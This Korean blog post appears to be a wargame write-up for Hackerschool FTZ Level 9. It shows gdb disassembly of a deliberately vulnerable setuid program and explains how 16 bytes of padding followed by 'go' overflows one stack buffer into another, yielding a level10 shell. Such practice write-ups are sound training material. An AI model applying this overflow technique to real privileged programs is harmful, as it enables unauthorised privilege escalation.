Pwnable/Hackerschool

[F.T.Z] Hackerschool FTZ Level 9

와븨 2023. 11. 11. 00:01

문제

 

  • buffer의 크기는 10인데, 40만큼의 입력이 들어오면 overflow가 발생한다.
  • buf2가 buf보다 먼저 선언되었으므로, buf의 입력값이 10 이상이면 buf2로 넘어간다. 이때, buf에 go를 입력하면 level10의 권한을 얻을 수 있다.

 

tmp 디렉토리로 이동해서 힌트의 소스코드를 복사해 bof.c 파일을 새로 만들어줬다.

 

 

bof 실행 파일을 만들고,

 

 

gdb로 buf에 몇바이트를 입력해야 buf2의 값으로 넘어가는지 확인해보자.

 

 

(gdb) disas main
Dump of assembler code for function main:
0x08048420 <main+0>:    push   ebp
0x08048421 <main+1>:    mov    ebp,esp
0x08048423 <main+3>:    sub    esp,0x28
0x08048426 <main+6>:    and    esp,0xfffffff0
0x08048429 <main+9>:    mov    eax,0x0
0x0804842e <main+14>:   sub    esp,eax
0x08048430 <main+16>:   sub    esp,0xc
0x08048433 <main+19>:   push   0x8048554
0x08048438 <main+24>:   call   0x8048350 <printf>
0x0804843d <main+29>:   add    esp,0x10
0x08048440 <main+32>:   sub    esp,0x4
0x08048443 <main+35>:   push   ds:0x8049698
0x08048449 <main+41>:   push   0x28
0x0804844b <main+43>:   lea    eax,[ebp-40]
0x0804844e <main+46>:   push   eax
0x0804844f <main+47>:   call   0x8048320 <fgets>
0x08048454 <main+52>:   add    esp,0x10
0x08048457 <main+55>:   sub    esp,0x4
0x0804845a <main+58>:   push   0x2
0x0804845c <main+60>:   push   0x804856a
0x08048461 <main+65>:   lea    eax,[ebp-24]
0x08048464 <main+68>:   push   eax
0x08048465 <main+69>:   call   0x8048330 <strncmp>
0x0804846a <main+74>:   add    esp,0x10
0x0804846d <main+77>:   test   eax,eax
0x0804846f <main+79>:   jne    0x80484a6 <main+134>
0x08048471 <main+81>:   sub    esp,0xc
0x08048474 <main+84>:   push   0x804856d
0x08048479 <main+89>:   call   0x8048350 <printf>
0x0804847e <main+94>:   add    esp,0x10
0x08048481 <main+97>:   sub    esp,0x8
0x08048484 <main+100>:  push   0xbc2
0x08048489 <main+105>:  push   0xbc2
0x0804848e <main+110>:  call   0x8048360 <setreuid>
0x08048493 <main+115>:  add    esp,0x10
0x08048496 <main+118>:  sub    esp,0xc
0x08048499 <main+121>:  push   0x804857a
0x0804849e <main+126>:  call   0x8048310 <system>
0x080484a3 <main+131>:  add    esp,0x10
0x080484a6 <main+134>:  leave

buf의 시작점이 ebp-40, buf2의 시작점이 ebp-24 이므로,

buf에 16바이트 이상의 입력값을 입력하면 buf2의 값으로 넘어간다.

 

 

/usr/bin 으로 이동해 bof를 실행하고, 16바이트 이상 입력 후 go를 써주면 성공!

level10 권한을 얻을 수 있다.

 

 

level10 권한을 얻었으니 my-pass로 level10의 패스워드를 확인할 수 있다.